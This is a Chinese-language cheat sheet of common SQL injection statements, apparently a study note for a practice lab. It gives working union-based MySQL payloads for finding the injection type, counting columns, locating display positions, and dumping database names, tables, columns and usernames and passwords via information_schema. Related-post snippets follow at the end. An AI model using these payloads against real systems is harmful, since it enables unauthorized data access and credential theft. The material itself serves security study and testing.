SQL注入常用語句

2021-09-26 10:27:51 字數 1862 閱讀 3537

一、判斷型別

用and判斷其字元型別

』 and 『1』='1 正常返回

』 and 『1』='2 頁面正常,但是與上個頁面相比,沒有查詢資料(**沒對sql輸入做特殊過濾和處理) 字元型

上兩條必須是一起判斷的

』 and 『1』='1 非正常返回,顯示錯誤。可能性 1.有過濾 2.閉合符不對 3.不是字元型

總:如果是字元型,那麼 』 and 『1』=『1 正常,』 and 『1』='2 錯誤

數字型,那麼 and 1=1 正常, and 1=2 錯誤

總之,一定使用兩條and去一起判斷

』 or 『1』='1 判斷輸出,即是否會全部輸出還是部分輸出

二、判斷字段數

order by

注釋:1. #

2.–+ 如果直接 – 即如果後面沒有任何東西,就很被忽略

3.%23

mysql5.0以上才有information_schema資料庫

三、確定顯示位

1』 union select 1,2 # 確定顯示位

-1』union select 1,2 # -1表示前乙個查詢結果不會返回,只顯示後乙個查詢結果,在**對輸出結果有限制時就可以這樣用

四、獲取資料庫

猜資料庫

select schema_name from information_schema.schemata

例子: select * from users where id=』-1』union select 1,group_concat(schema _name),3 from information_schema.schemata–+ limit 0,1

select * from users where id=』-1』union select 1,group_concat(schema _name),database() from information_schema.schemata–+ limit 0,1

id=』-1』讓前乙個查詢不顯示,只顯示後面的查詢,常用在對頁面的返回資料有控制時,即只返回一組資料,

group_concat() 分組查詢

-1' union select 1,group_concat(username),group_concat(password) from users 巧用group_concat(),使多組資料,作為一組字串一起輸出

id=- 1 常與 group_concat() 連用

五、資料表

猜某庫的資料表

select table_name from information_schema.tables where table_schema=』***xx』

例子: select * from users where id=』-1』union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=』security』–+ limit 0,1

可以將單引號內的資料進行編碼為 16進製制(一般預設識別16進製制)

六、資料列

猜某錶的所有列

select column_name from information_schema.columns where table_name=』***xx』

例子: select * from users where id=』-1』union select 1,group_concat(column _name),3 from information_schema.columns where table_name=『users』 --+ limit 0,1

七、內容

獲取某列的內容

select *** from ****

SQL 注入有常用語句

是否支援多句查詢 是否支援子查詢 返回使用者名稱 當前使用者是否為 sysadmin 固定伺服器角色的成員。當前使用者是否為 db owner 固定資料庫角色的成員 返回資料庫名 作業系統和sqlserver版本 本地伺服器名稱 http com.cn newhomelink site news c...

SQL 注入有常用語句

是否支援多句查詢 是否支援子查詢 返回使用者名稱 當前使用者是否為 sysadmin 固定伺服器角色的成員。當前使用者是否為 db owner 固定資料庫角色的成員 返回資料庫名 作業系統和sqlserver版本 本地伺服器名稱 http www.com.cn newhomelink site ne...

SQL注入常用語句 筆記

example1 select from users where username username and password password test data username 1 or 1 1 password 1 or 1 1 select from users where usernam...